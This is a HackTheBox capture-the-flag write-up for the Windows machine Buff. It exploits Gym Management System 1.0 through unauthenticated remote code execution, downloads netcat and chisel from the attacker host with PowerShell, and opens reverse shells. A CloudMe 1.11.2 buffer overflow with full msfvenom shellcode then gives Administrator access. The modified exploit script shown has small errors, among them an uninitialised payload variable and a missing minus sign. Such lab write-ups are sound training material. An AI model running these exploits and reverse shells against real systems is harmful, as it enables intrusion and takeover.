HackTheBox - Buff

HackTheBox - Buff

Buff is a Windows machine with easy difficulty from HackTheBox that features an open source web application called “Gym Management System”. The application can be exploited using a publicly available exploit. Internal enumeration discovers a program service that is bound to the loopback interface. The program is found to be vulnerable to a buffer overflow attack, and there is also a publicly available exploit to exploit it to gain access as Administrator. Because it is bound to the loopback interface, hence a setup for port forwarding is required before sending the exploit.

Skills Learned

  • Gym Management System 1.0 Exploitation
  • Tunneling
  • CloudMe 1.12 Exploitation

Tools

  • Nmap - Preinstalled in Kali Linux
  • searchsploit/Exploit-DB - Preinstalled in Kali Linux
  • chisel
  • msfvenom - Preinstalled in Kali Linux

Reconnaissance

Nmap

An initial scan with nmap only discovers one port open on 8080 running an Apache web server.

→ root@kali «~» «10.10.14.18»
$ mkdir nmap; nmap -sC -sV -oN nmap/initial-buff -v 10.10.10.198

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n’s Bro Hut

Enumeration

TCP 8080 - Website

Visiting port 8080 displays a website for a Gym, on the title it is called “mrb3n’s Bro Hut”.

image-20210502140814680

Clicking on the contact page discovers the name of the software behind this web application.

image-20210502140846741

Searchsploit

I can feed the software name to searchsploit. It pops several exploits, and one that stands out is a remote code execution.

→ root@kali «machines» «10.10.14.18»
$ searchsploit Gym Management System 1.0
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection                                 | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass                              | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting                        | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution              | php/webapps/48506.py
------------------------------------------------------------------------------- ---------------------------------

Foothold

Shell as shaun

I will grab the unauth RCE with searchsploit -m, it allows me to mirror/make a copy of the “Gym Management System 1.0 - Unauthenticated Remote Code Execution” exploit to the current working directory

→ root@kali «exploit» «10.10.14.18»
$ searchsploit -m 48506
  Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48506
     Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /root/htb/machines/buff/exploit/48506.py


→ root@kali «exploit» «10.10.14.18»
$ ls -l
total 8
-rwxr-xr-x 1 root root 5164 May  2 04:29 48506.py

I will rename 48506.py to exploit.py, and run it afterwards.

→ root@kali «exploit» «10.10.14.18»
$ python exploit.py http://10.10.10.198:8080/
image-20210502153153898

With current webshell, I can’t change my directory but I can still grab the user flag.

C:\xampp\htdocs\gym\upload> type \users\shaun\desktop\user.txt

Upgrade to Interactive Shell

To make the shell a bit more comfy, I uploaded a netcat using powershell to Buff, and then I will create another reverse shell session.

First, I will host a 64 bit netcat, nc64.exe.

→ root@kali «buff» «10.10.14.18»
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.198 - - [14/Aug/2020 10:11:02] "GET /nc64.exe HTTP/1.1" 200

On Buff, I will grab the hosted nc64.exe using PowerShell.

C:\xampp\htdocs\gym\upload> powershell.exe "invoke-webrequest -uri http://10.10.14.18/nc64.exe -outfile nc.exe"

While having my netcat listening, I will send a reverse shell from Buff by leveraging the uploaded netcat.

C:\xampp\htdocs\gym\upload>.\nc.exe -e cmd.exe 10.10.14.18 9001

On my listener:

→ root@kali «buff» «10.10.14.18»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.198] 64518
Microsoft Windows [Version 10.0.17134.1550]  
(c) 2018 Microsoft Corporation. All rights reserved.   

C:\xampp\htdocs\gym\upload>

Privilege Escalation

Shell as Administrator

Enumeration

After enumerating the Users folder, I noticed a slightly different output when typing the dir command in shaun home directory.

image-20210502155544622

In the Download folder, there is an executable file called CloudMe_1112.exe, where 1112 is likely a version number.

Checking on currently running services with netstat discovers an unknown service bound on localhost port 8888.

C:\xampp\htdocs\gym\upload> netstat -aonp tcp
Active Connections

  Proto  Local Address          Foreign Address        State           PID

...<SNIP>...
  TCP    127.0.0.1:8888            0.0.0.0:0              LISTENING       7352
...<SNIP>...  

I can search the program name using the tasklist command.

C:\xampp\htdocs\gym\upload> tasklist /FI "PID eq 7352" /v /FO list
image-20210502160832477

So PID 7352 on port 8888 is running CloudMe.exe, and because the user name field is showing as N/A, one possible thing is that I don’t have enough privilege to dig for more information about that process (it might be running with a higher privilege, either administrator or a local system).

Searchsploit

A quick search about “CloudMe” on searchsploit pops some buffer overflow exploits. Four of them are exact match. I will grab the PoC version.

→ root@kali «buff» «10.10.14.18»
$ searchsploit CloudMe
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                         | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                                | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                                | windows/local/48840.py
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)                               | windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass)                        | windows_x86-64/local/45159.py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)                 | windows/remote/44175.rb
CloudMe Sync 1.11.0 - Local Buffer Overflow                                    | windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                                | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                       | windows_x86-64/remote/46250.py
CloudMe Sync < 1.11.0 - Buffer Overflow                                        | windows/remote/44027.py
CloudMe Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass)                     | windows_x86-64/remote/44784.py
------------------------------------------------------------------------------- ---------------------------------

Tunneling

The CloudMe program is currently listening on localhost (bound), so to interact with it, I’ll have to setup a tunnel/port forwarding. For this, I’ll use chisel (https://github.com/jpillora/chisel/releases).

Example usage of chisel is explained better in this blog :

First, I’ll transfer the Windows version of chisel to Buff via PowerShell.

C:\Users\shaun\Download> powershell.exe "invoke-webrequest -uri http://10.10.14.18/chisel.exe -outfile cs.exe"

Second, I’ll setup a chisel server on my Kali.

→ root@kali «buff» «10.10.14.18»
$ chisel server -p 9002
2020/08/14 13:22:18 server: Fingerprint 35:fe:d3:dd:6c:b3:63:35:87:6a:f2:70:52:f1:82:e2
2020/08/14 13:22:18 server: Listening on 0.0.0.0:9002...

On Buff, I’ll connect as client to my chisel server on Kali.

C:\Users\shaun\Download> .\cs.exe client 10.10.14.18:9002 R:8888:127.0.0.1:8888
image-20210502162654346

This, will forward the traffics that sent from my Kali Linux on port 8888 to Buff’s localhost on port 8888.

Kali localhost:8888 <-> (Kali 10.10.14.18:9002 <-> Buff:10.10.10.198:XXX) <-> Buff localhost:8888

Exploitation CloudMe 1.11.2

I’ll use this exploit PoC (I’ve renamed it to bofexploit.py) but I’ll have to modify the payload with my own.

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload    = b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33"
payload   += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc"
payload   += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f"
payload   += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8"
payload   += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f"
payload   += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43"
payload   += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee"
payload   += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4"
payload   += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a"
payload   += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff"
payload   += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33"
payload   += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59"
payload   += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05"
payload   += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4"
payload   += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6"
payload   += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c"
payload   += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,8888))
        s.send(buf)
except Exception as e:
        print(sys.exc_value)

To generate a new payload/shell code, I’ll be using msfvenom. But, instead of running calc.exe, I’ll change it to execute the netcat I’ve uploaded before (during upgrading shell).

→ root@kali «buff» «10.10.14.18»
$ msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.18 9005' -b '\x00\x0A\x0D' -f python -v payload

...<SNIP>...
payload += b"\xbe\xd0\xe7\xa9\x73\xd9\xc7\xd9\x74\x24\xf4\x5f"
payload += b"\x31\xc9\xb1\x3e\x31\x77\x12\x03\x77\x12\x83\x17"
payload += b"\xe3\x4b\x86\x6b\x04\x09\x69\x93\xd5\x6e\xe3\x76"
payload += b"\xe4\xae\x97\xf3\x57\x1f\xd3\x51\x54\xd4\xb1\x41"
payload += b"\xef\x98\x1d\x66\x58\x16\x78\x49\x59\x0b\xb8\xc8"
payload += b"\xd9\x56\xed\x2a\xe3\x98\xe0\x2b\x24\xc4\x09\x79"
payload += b"\xfd\x82\xbc\x6d\x8a\xdf\x7c\x06\xc0\xce\x04\xfb"
payload += b"\x91\xf1\x25\xaa\xaa\xab\xe5\x4d\x7e\xc0\xaf\x55"
payload += b"\x63\xed\x66\xee\x57\x99\x78\x26\xa6\x62\xd6\x07"
payload += b"\x06\x91\x26\x40\xa1\x4a\x5d\xb8\xd1\xf7\x66\x7f"
payload += b"\xab\x23\xe2\x9b\x0b\xa7\x54\x47\xad\x64\x02\x0c"
payload += b"\xa1\xc1\x40\x4a\xa6\xd4\x85\xe1\xd2\x5d\x28\x25"
payload += b"\x53\x25\x0f\xe1\x3f\xfd\x2e\xb0\xe5\x50\x4e\xa2"
payload += b"\x45\x0c\xea\xa9\x68\x59\x87\xf0\xe6\x9c\x15\x8f"
payload += b"\x45\x9e\x25\x8f\xf9\xf7\x14\x04\x96\x80\xa8\xcf"
payload += b"\xd2\x7f\xe3\x4d\x72\xe8\xaa\x04\xc6\x75\x4d\xf3"
payload += b"\x05\x80\xce\xf1\xf5\x77\xce\x70\xf3\x3c\x48\x69"
payload += b"\x89\x2d\x3d\x8d\x3e\x4d\x14\xce\xfa\xed\xe2\xa3"
payload += b"\x9f\x7f\x7e\x1f\x13\xe8\xe1\xea\xbd\xb4\x85\x7b"
payload += b"\x35\x2b\x2a\xec\xd8\xd7\xc1\xae\x74\x7b\x08\x2b"
payload += b"\xf1\x1e\x74\x9e\x64\xc1\x17\x8d\x02\x2f\xbd\x35"
payload += b"\xae\x0f\x0c\xf5\x1e\x61\x5e\xdb\x6f\xb5\xb0\x16"
payload += b"\xa4\x95\xf5\x68\xf4\xe0\x05"

After removed the comments and changed the payload, the bofexploit.py now look like this:

import socket

target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30

payload += b"\xbe\xd0\xe7\xa9\x73\xd9\xc7\xd9\x74\x24\xf4\x5f"
payload += b"\x31\xc9\xb1\x3e\x31\x77\x12\x03\x77\x12\x83\x17"
payload += b"\xe3\x4b\x86\x6b\x04\x09\x69\x93\xd5\x6e\xe3\x76"
payload += b"\xe4\xae\x97\xf3\x57\x1f\xd3\x51\x54\xd4\xb1\x41"
payload += b"\xef\x98\x1d\x66\x58\x16\x78\x49\x59\x0b\xb8\xc8"
payload += b"\xd9\x56\xed\x2a\xe3\x98\xe0\x2b\x24\xc4\x09\x79"
payload += b"\xfd\x82\xbc\x6d\x8a\xdf\x7c\x06\xc0\xce\x04\xfb"
payload += b"\x91\xf1\x25\xaa\xaa\xab\xe5\x4d\x7e\xc0\xaf\x55"
payload += b"\x63\xed\x66\xee\x57\x99\x78\x26\xa6\x62\xd6\x07"
payload += b"\x06\x91\x26\x40\xa1\x4a\x5d\xb8\xd1\xf7\x66\x7f"
payload += b"\xab\x23\xe2\x9b\x0b\xa7\x54\x47\xad\x64\x02\x0c"
payload += b"\xa1\xc1\x40\x4a\xa6\xd4\x85\xe1\xd2\x5d\x28\x25"
payload += b"\x53\x25\x0f\xe1\x3f\xfd\x2e\xb0\xe5\x50\x4e\xa2"
payload += b"\x45\x0c\xea\xa9\x68\x59\x87\xf0\xe6\x9c\x15\x8f"
payload += b"\x45\x9e\x25\x8f\xf9\xf7\x14\x04\x96\x80\xa8\xcf"
payload += b"\xd2\x7f\xe3\x4d\x72\xe8\xaa\x04\xc6\x75\x4d\xf3"
payload += b"\x05\x80\xce\xf1\xf5\x77\xce\x70\xf3\x3c\x48\x69"
payload += b"\x89\x2d\x3d\x8d\x3e\x4d\x14\xce\xfa\xed\xe2\xa3"
payload += b"\x9f\x7f\x7e\x1f\x13\xe8\xe1\xea\xbd\xb4\x85\x7b"
payload += b"\x35\x2b\x2a\xec\xd8\xd7\xc1\xae\x74\x7b\x08\x2b"
payload += b"\xf1\x1e\x74\x9e\x64\xc1\x17\x8d\x02\x2f\xbd\x35"
payload += b"\xae\x0f\x0c\xf5\x1e\x61\x5e\xdb\x6f\xb5\xb0\x16"
payload += b"\xa4\x95\xf5\x68\xf4\xe0\x05"

overrun = b"C" * (1500  len(padding1 + NOPS + EIP + payload))
buf = padding1 + EIP + NOPS + payload + overrun

try:
 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((target,8888))
 s.send(buf)
except Exception as e:
 print(sys.exc_value)

The exploit is ready, and now I’ll setup a listener on the same port with the one I’ve assigned to the payload and run the exploit afterwards.

→ root@kali «buff» «10.10.14.18»
$ python2 bofexploit.py

On my listener:

image-20210502164625103

Now I can grab the root flag or dump the hashes.

References